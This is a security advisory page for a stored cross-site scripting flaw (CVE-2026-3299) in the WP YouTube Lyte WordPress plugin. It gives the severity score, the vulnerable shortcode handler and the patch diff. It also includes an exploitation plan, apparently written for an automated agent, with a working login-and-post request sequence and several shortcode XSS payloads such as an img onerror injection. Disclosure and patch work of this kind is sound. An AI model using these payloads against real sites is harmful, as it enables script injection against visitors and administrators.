CVE-2026-3299

WP YouTube Lyte <= 1.7.29 - Authenticated (Contributor+) Stored Cross-Site Scripting via lyte Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.7.30
Patched in
1d
Time to patch

Description

The WP YouTube Lyte plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'lyte' shortcode in all versions up to, and including, 1.7.29 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.7.29
PublishedApril 15, 2026
Last updatedApril 16, 2026
Affected pluginwp-youtube-lyte

What Changed in the Fix

Changes introduced in v1.7.30

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3299 (WP YouTube Lyte Stored XSS) ## 1. Vulnerability Summary The **WP YouTube Lyte** plugin (<= 1.7.29) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of the `[lyte]` shortcode attributes. When a…

Show full research plan

Exploitation Research Plan: CVE-2026-3299 (WP YouTube Lyte Stored XSS)

1. Vulnerability Summary

The WP YouTube Lyte plugin (<= 1.7.29) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the [lyte] shortcode attributes. When a user with Contributor-level permissions or higher includes the shortcode in a post, the plugin fails to sanitize or escape the attributes (such as id, audio, or playlist) before rendering them into the HTML output. This allows an attacker to break out of HTML attributes and inject malicious JavaScript that executes when any user (including administrators) views the post.

2. Attack Vector Analysis

  • Endpoint: Standard WordPress post editor (Gutenberg or Classic Editor).
  • Vulnerable Action: Saving or updating a post/page containing the [lyte] shortcode.
  • Vulnerable Parameter: Attributes within the [lyte] shortcode (e.g., id, audio, playlist).
  • Authentication Level: Contributor+ (requires edit_posts capability).
  • Preconditions: The plugin must be active. No specific settings are required to enable the shortcode.

3. Code Flow

  1. Registration: The plugin registers the [lyte] shortcode (likely via add_shortcode( 'lyte', 'shortcode_lyte' ) in the truncated portion of wp-youtube-lyte.php).
  2. Processing: When a post is viewed, WordPress parses the content and calls the shortcode handler.
  3. Attribute Extraction: The handler uses shortcode_atts() to extract user-supplied attributes like id, audio, and playlist.
  4. Rendering (Sink): The handler builds an HTML string (often a div with class lyte) to represent the player. It concatenates the extracted attributes into this string.
  5. Vulnerability: The code fails to wrap the attribute values in esc_attr(). For example:
    // Vulnerable Pattern (Inferred)
    return '<div class="lyte" id="lyte_' . $atts['id'] . '" data-id="' . $atts['id'] . '"></div>';
    
  6. Output: The unescaped input is returned to the page content and rendered in the browser.

4. Nonce Acquisition Strategy

This exploit involves a standard WordPress post-creation workflow. No custom plugin nonces are required for the injection, but the automated agent must handle the standard WordPress _wpnonce for saving posts.

  1. Login: Authenticate as a Contributor user.
  2. Navigate: Go to /wp-admin/post-new.php.
  3. Extract Nonce: Use browser_eval to extract the _wpnonce and post_ID from the editor page.
    • _wpnonce: document.querySelector('#_wpnonce')?.value || wp.data.select('core/editor').getOption('nonce')
    • post_ID: document.querySelector('#post_ID')?.value
  4. Note: If using the Gutenberg editor, nonces are often handled via the REST API or localized into the wpApiSettings or wp global objects.

5. Exploitation Strategy

The goal is to inject an event handler into the id or another attribute of the [lyte] shortcode.

Step 1: Login as Contributor

Use the http_request tool to log in as a user with the Contributor role.

Step 2: Create a Post with Malicious Shortcode

Submit a POST request to /wp-admin/post.php (or use the REST API) to save a post containing the payload.

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: editpost
    • post_ID: [EXTRACTED_ID]
    • _wpnonce: [EXTRACTED_NONCE]
    • post_title: Lyte XSS Test
    • post_content: [lyte id='"><img src=x onerror=alert(document.domain)>' /]
    • publish: Publish (or save for draft)

Step 3: Trigger the XSS

Navigate to the newly created post URL as an Administrator.

6. Test Data Setup

  1. Plugin: Ensure wp-youtube-lyte version 1.7.29 is installed and activated.
  2. User: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Environment: No YouTube API key is required, as the shortcode rendering logic triggers before any API calls are made.

7. Expected Results

  1. When the post is rendered, the HTML source will contain a broken attribute:
    <div class="lyte" id="lyte_"><img src=x onerror=alert(document.domain)>" ...>
    
  2. The browser will execute the onerror handler, displaying an alert box with the document domain.

8. Verification Steps

  1. Manual Check: Access the post as Admin and confirm the JS execution.
  2. WP-CLI Check: Verify the content is stored exactly as injected.
    • wp post get [POST_ID] --field=post_content
  3. Source Inspection: Use http_request to fetch the post page and search for the unescaped payload:
    • grep 'onerror=alert' response_body.html

9. Alternative Approaches

If the id attribute is sanitized via a strict regex (e.g., only 11 alphanumeric characters), target other attributes mentioned in readme.txt or lyte_parse:

  • Audio: [lyte id='_SQkWbRublY' audio='true" onmouseover="alert(1)" style="display:block;width:100px;height:100px;background:red;"']
  • Playlist: [lyte id='PLA486E741B25F8E00' playlist='true" onmouseover="alert(1)"']
  • Arbitrary Parameters: Try parameters processed in lyte_parse (line 123-131): stepSize, showinfo, start, enablejsapi, hqThumb.
    • Example: [lyte id='_SQkWbRublY' showinfo='1" onmouseover="alert(1)"']

These parameters are extracted using preg_match in lyte_parse, but the shortcode handler might pass them directly into the template before that logic applies.

Research Findings
Static analysis — not yet PoC-verified

Summary

The WP YouTube Lyte plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting via the 'lyte' shortcode. Due to insufficient input sanitization and output escaping on attributes such as 'id', 'start', and 'stepSize', an attacker with contributor-level access can inject arbitrary web scripts into posts that execute whenever a user views the affected page.

Vulnerable Code

// wp-youtube-lyte.php line 657
function shortcode_lyte($atts) {
    extract(shortcode_atts(array(
        'id'        => '',
        'audio'     => '',
        'playlist'  => '',
        'start'     => '',
        'showinfo'  => '',
        'stepsize'  => '',
        'hqthumb'   => '',
    ), $atts));

    $qs = '';

    if ($audio) { $proto = 'httpa'; } else { $proto = 'httpv'; }
    if ( $start !== '' ) { $qs .= '&amp;start=' . $start; }
    if ( $showinfo === 'false' ) { $qs .= '&amp;showinfo=0'; }
    if ( $hqthumb ) { $qs .= '&amp;hqThumb=1'; }
    if ( $stepsize ) { $qs .= '#stepSize=' . $stepsize; }
    if ( $playlist ) { $action = 'playlist?list=';} else { $action = 'watch?v='; }

    return lyte_parse( $proto . '://www.youtube.com/' . $action . $id . $qs );
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-youtube-lyte/1.7.29/wp-youtube-lyte.php	2025-11-13 22:42:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-youtube-lyte/1.7.30/wp-youtube-lyte.php	2026-03-14 15:08:42.000000000 +0000
@@ -657,13 +657,13 @@
     $qs = '';
 
     if ($audio) { $proto = 'httpa'; } else { $proto = 'httpv'; }
-    if ( $start !== '' ) { $qs .= '&amp;start=' . $start; }
+    if ( $start !== '' ) { $qs .= '&amp;start=' . esc_attr( $start ); }
     if ( $showinfo === 'false' ) { $qs .= '&amp;showinfo=0'; }
     if ( $hqthumb ) { $qs .= '&amp;hqThumb=1'; }
-    if ( $stepsize ) { $qs .= '#stepSize=' . $stepsize; }
+    if ( $stepsize ) { $qs .= '#stepSize=' . esc_attr( $stepsize ); }
     if ( $playlist ) { $action = 'playlist?list=';} else { $action = 'watch?v='; }
 
-    return lyte_parse( $proto . '://www.youtube.com/' . $action . $id . $qs );
+    return lyte_parse( $proto . '://www.youtube.com/' . $action . esc_attr( $id ) . $qs );
 }

Exploit Outline

1. Authenticate as a user with at least Contributor-level privileges (e.g., ability to edit posts). 2. Create a new post or edit an existing one using the WordPress editor. 3. Embed the [lyte] shortcode using a malicious payload in the 'id' or 'start' attribute, such as: [lyte id='"><img src=x onerror=alert(document.domain)>' /]. 4. Save the post as a draft or publish it. 5. Navigate to the post's public URL (or have an administrator view it). The unescaped attribute will break out of the HTML tag's attributes, executing the injected JavaScript.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.